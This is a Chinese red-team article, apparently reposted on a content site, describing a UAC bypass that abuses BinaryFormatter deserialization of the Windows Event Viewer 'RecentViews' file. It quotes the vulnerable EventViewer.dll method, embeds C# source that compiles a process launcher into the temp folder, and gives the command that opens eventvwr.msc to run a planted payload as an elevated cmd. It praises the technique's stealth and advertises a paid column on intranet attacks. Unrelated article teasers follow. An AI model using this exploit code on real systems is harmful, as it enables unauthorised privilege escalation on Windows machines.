.NET内网实战:通过白名单文件反序列化漏洞绕过UAC

01阅读须知

此文所节选自小报童《.NET 内网实战攻防》专栏,主要内容有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,对内网和后渗透感兴趣的朋友们可以订阅该电子报刊,解锁更多的报刊内容。

02基本介绍

图片

03原理分析

在渗透测试和红队活动中,权限提升是重要的一环,尤其是在没有管理员权限的情况下执行更高权限的操作。有一种思路利用 Windows 事件查看器 eventvwr.msc 的高权限加载特性和 XAML 反序列化机制,以绕过 UAC 限制。

3.1 Windows事件查看器

在 Windows 系统中,事件查看器Event Viewer是一个非常有用的管理工具,可以帮助系统管理员和安全分析人员查看系统日志、应用程序日志、安全日志等。通常情况位于当前系统用户下的AppData\Local\Microsoft\Event Viewer目录。

图片

在事件查看器启动过程中,Windows 会自动加载 EventViewer.dll,这是事件查看器的核心 .NET 组件之一,提供事件记录的读取、解析和显示功能,如下图所示。

图片

由于 EventViewer.dll内部调用了LoadMostRecentViewsDataFromFile方法,此方法调用BinaryFormatter().Deserialize方法反序列化读取最近的事件记录内容,核心漏洞代码如下所示。

private void LoadMostRecentViewsDataFromFile()
{try{if (!string.IsNullOrEmpty(EventsNode.recentViewsFile) && File.Exists(EventsNode.recentViewsFile)){FileStream fileStream = new FileStream(EventsNode.recentViewsFile, FileMode.Open);object syncRoot = EventsNode.recentViewsDataArrayList.SyncRoot;lock (syncRoot){EventsNode.recentViewsDataArrayList = (ArrayList)new BinaryFormatter().Deserialize(fileStream);}fileStream.Close();}
}catch (FileNotFoundException){}
}

3.2 动态编译启动新进程

首先代码中定义了一个名为 CreateSerializedData 的静态方法,方法内部的 text 字符串包含一段完整的.NET代码,用于创建一个控制台程序,内部使用了 DllImport 引入 Windows API 函数 CreateProcess,用于在桌面上创建一个新进程。

string text = "\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\n\r\n\r\nclass HelloWorld\r\n{\r\n    [DllImport(\"kernel32.dll\")]\r\n    private static extern bool CreateProcess(\r\n     int dwCreationFlags,\r\n     IntPtr lpEnvironment,\r\n ref STARTUPINFO lpStartupInfo,\r\n     ref PROCESS_INFORMATION lpProcessInformation);\r\n\r\n    [StructLayout(LayoutKind.Sequential)]\r\n    struct STARTUPINFO\r\n    {\r\n        public Int32 cb;\r\n        public string lpReserved;\r\n        public string lpDesktop;\r\n        public string lpTitle;\r\n        public Int32 dwX;\r\n        public Int32 dwY;\r\n        public Int32 dwXSize;\r\n        public Int32 dwYSize;\r\n        public Int32 dwXCountChars;\r\n        public Int32 dwYCountChars;\r\n        public Int32 dwFillAttribute;\r\n        public Int32 dwFlags;\r\n        public Int16 wShowWindow;\r\n        public Int16 cbReserved2;\r\n        public IntPtr lpReserved2;\r\n        public IntPtr hStdInput;\r\n        public IntPtr hStdOutput;\r\n        public IntPtr hStdError;\r\n    }\r\n\r\n  internal struct PROCESS_INFORMATION\r\n    {\r\n        public IntPtr hProcess;\r\n        public IntPtr hThread;\r\n        public int dwProcessId;\r\n        public int dwThreadId;\r\n    }\r\n    \r\n\r\n    static void Main(string[] args)\r\n    {\r\n        string DesktopName=args[0];\r\n        string argumentsAsString = string.Join(\" \", args, 1, args.Length - 1);\r\n        STARTUPINFO si = new STARTUPINFO();\r\n        si.cb = Marshal.SizeOf(si);\r\n        si.lpDesktop = DesktopName;\r\n        PROCESS_INFORMATION pi = new PROCESS_INFORMATION();\r\n        bool success = CreateProcess(\r\n            null,\r\n            argumentsAsString,\r\n            IntPtr.Zero,\r\n            IntPtr.Zero,\r\n            false,\r\n            48,\r\n            IntPtr.Zero,\r\n            null,\r\n            ref si,\r\n            ref pi);\r\n    }\r\n}\r\n";
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("Compling StartInSelectedDesktop...");
compilerParameters.GenerateExecutable = true;
compilerParameters.OutputAssembly = Path.Combine(Path.GetTempPath(), "StartInSelectedDesktop.exe");

3.3 白加黑启动绕过UAC

利用 eventvwr.msc 进程来触发恶意载荷的反序列化,从而绕过用户账户控制 (UAC) 限制启动新的 cmd 进程。因为此时恶意负载已经写入到 C:\Users\Ivan1ee\AppData\Local\Microsoft\Event Viewer\RecentViews,自动化打开事件查看器即可触发漏洞。具体代码如下所示

if (!Program.CreateProcess(null, "cmd /c start \"\" \"%windir%\\system32\\eventvwr.msc\"", IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref structure, ref process_INFORMATION))

图片

图片

综上,利用了Windows事件查看器的反序列化漏洞,具备强大的UAC绕过能力。在红队渗透测试中,其高度隐蔽性和无文件特性而受到广泛应用。

04.NET 电子报刊

小报童电子报刊【.NET内网安全攻防】,引入小报童也是为了弥补知识星球对于轻量级阅读支持的不足,为用户读者提供更佳的阅读体验。内容主要有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,可细分为以下8个方向。

1) .NET 安全防御绕过
2) .NET 本地权限提升
3) .NET 内网信息收集
4) .NET 内网代理通道
5) .NET 内网横向移动
6) .NET 目标权限维持
7) .NET 数据传输外发
8) .NET 目标痕迹清理

图片

图片

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/883955.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ELK之路第三步——日志收集筛选logstash和filebeat

logstash和filebeat(偷懒版) 前言logstash1.下载2.修改配置文件3.测试启动4.文件启动 filebeat1.下载2.配置3.启动 前言 上一篇,我们说到了可视化界面Kibana的安装,这一篇,会简单介绍logstash和filebeat的安装和配置。…

20 Docker容器集群网络架构:三、Docker集群部署

文章目录 Docker容器集群网络架构:三、Docker集群离线部署3.1 环境准备3.1.1 配置主机名3.1.2 关闭firewall防火墙3.1.3 关闭iptables防火墙3.1.3.1 安装iptables3.1.3.2 禁用iptables3.1.3.3 清空防火墙规则3.1.4 关闭selinux3.1.4.1 临时关闭3.1.4.2 永久关闭3.1.4.3 查询关…

分别用webpack和vite注册全局组件

基础组件的自动化全局注册 1. 组件全部导入后,批量注册 import dgDialog from "/components/dgDialog/index.vue"; import svgIcon from "/components/svgIcon/index.vue"; const allComponent { dgDialog, svgIcon }; export default {inst…

二十六、Python基础语法(函数进阶-下)

一、多值参数 多值参数(可变参数、不定长参数):有的函数不确定参数有几个,在一个普通的参数前面加上一个*,这个参数就变为不定参数。可以接收任意多个位置传参的数据,类型为元组。 def test(name, *args,…

植物源UDP-糖基转移酶及其分子改造-文献精读75

植物源UDP-糖基转移酶及其分子改造 摘要 糖基化能够增加化合物的结构多样性,有效改善水溶性、药理活性和生物利用度,对植物天然产物的药物开发至关重要。UDP-糖基转移酶(UGTs)能够催化糖基从活化的核苷酸糖供体转移到受体形成糖苷键,植物中天然产物的糖基化修饰主要通过UGTs实…

计算机网络-常用网络命令和工具

目录 Ping命令 正常的执行结果 常见的失败反馈信息 语法格式 常用参数 Ipconfig命令简介 语法格式 命令参数 tracert 命令简介 工作原理 语法格式 常用参数 nbtstat命令简介 语法格式 常用参数 netstat 命令简介 语法格式 常用参数 Ping命令 ping( Packet Internet Grope…

[MySQL#7] CRUD(2) | 更新 | 删除 | 聚合函数 | group by

目录 3. 更新 4. 删除 截断表 日志的作用 5. (实验) 插入查询结果 6. 聚合函数 7. 分组查询 接着上篇文章[MySQL#6] 表的CRUD (1) | Create | Retrieve(查) | where继续讲解~ 3. 更新 语法: UPDATE table_name SET column expr [, column expr ...][WHE…

RegCM模式运行./bin/regcmMPI报错

1、报错 在运行RegCM时到截止模拟时间段时,不显示successfully,而是报错: MPI_ABORT was invoked on rank 0 in communicator MPI COMMUNICATOR 3 DUP FROM 0 with errorcode 1. NOTE: invoking MPI_ABORT causes Open MPI to kill all MP…

日本也有九九乘法表?你会读吗?柯桥零基础学日语到蓝天广场

日本也有“九九乘法表”? 九九乘法表起源于中国,可以追溯到春秋战国时代。 日本奈良县橿原市境内的“藤原京”遗址,出土了日本目前可找到最古老的“九九乘法表”木简。 根据日本奈良研究所的研究,其内容可能是1300多年前的官吏用…

Python(包和模块)

包 定义 包是将模块以文件夹的组织形式进行分组管理的方法,以便更好地组织和管理相关模块。 包是一个包含一个特殊的__init__.py文件的目录,这个文件可以为空,但必须存在,以标识目录为Python包。 包可以包含子包(子…

集群聊天服务器——逻辑梳理

网络聊天服务器项目,该项目分为4个模块: 首先是网络模块:我使用了muduo高性能网络库,解耦合网络与业务之间这两部分代码,可以更加专注与业务的功能开发其次是服务层模块:我使用了基于C11的技术比如绑定器和…

前沿技术与未来发展第一节:C++与机器学习

第六章:前沿技术与未来发展 第一节:C与机器学习 1. C在机器学习中的应用场景 C在机器学习中的应用优势主要体现在高效的内存管理、强大的计算能力和接近底层硬件的灵活性等方面。以下是 C 在机器学习领域的几个主要应用场景: 1.1 深度学习…

项目解决方案:在弱网(低带宽、高延迟、有丢包的网络)环境下建设视频监控平台的设计方案(下)

目录 一、需求分析 1、业务需求分析 2、功能需求分析 二、建设目标 三、设计原则 四、标准规范建设 五、系统架构 1、视频接入管理系统 2、资源管理调度平台 3、视频转码解码服务器 4、媒体输出引擎 5、媒体录制引擎 6、智能联动引擎 7、API开发引擎 六、部署架构 七、产…

将.py文件生成.exe文件的方法

1、安装pyinstaller(已有忽略):pip install pyinstaller 2、进入目标文件(需要编译的文件)目录 3、编译:pyinstaller --onefile xx.py 4、文件生成后的路径:在目标文件目录下创建一个名为dist的…

操作系统笔记(四)进程间通信,竞争条件与解决方案

进程间通信(IPC) 如何在进程间传递信息? 如何防止两个进程冲突? 如何实现进程执行的先后顺序? 竞争条件(Race conditions) 竞争条件(Race conditions) 多个进程访问一个共享数据,而数据最…

适配器模式:连接不兼容接口的桥梁

1. 引言 在软件开发中,我们常常会遇到不同系统之间需要互操作的情况。这些系统可能使用不同的接口和数据结构,如果我们不采取适当措施,它们将无法有效沟通。适配器模式(Adapter Pattern)正是为了解决这一问题而诞生的…

jmeter的基本使用

Jmeter基本使用 一、变量 1.用户定义变量 2.用户参数 二、函数 1.计数器${__counter(,)} 2.时间函数 3.加密函数${__digest(,,,,)} 4. 整数相加${__intSum(,,)} 5.属性函数,${__P(,)}、${__property(,,)}、${__setProperty(,,)} 6.V函数 三、获取响应数据…

Go语言基础教程:指针

在 Go 中,函数参数默认是按值传递的。若要改变变量的原始值,可以使用指针。本教程将通过示例代码来演示如何使用值传递和指针传递。 package mainimport "fmt"// 传值方式 - 函数内改变 ival 的值不会影响原始变量 func zeroval(ival int) {i…

2024年优秀的天气预测API

准确、可操作的天气预报对于许多组织的成功至关重要。 事实上,在整个行业中,天气条件会直接影响日常运营,包括航运、按需、能源和供应链(仅举几例)。 以公用事业为例。根据麦肯锡的数据,在 1.4 年的时间里…

HCIP-HarmonyOS Application Developer V1.0 笔记(二)

类Web开发范式自定义组件基本用法 自定义组件通过element引入到宿主页面。 Props自定义属性 自定义属性支持类型 String,Number,Boolean,Array,Object。 命名规范: 命名时禁止以on、、on:、grab:等保留关键字为开头…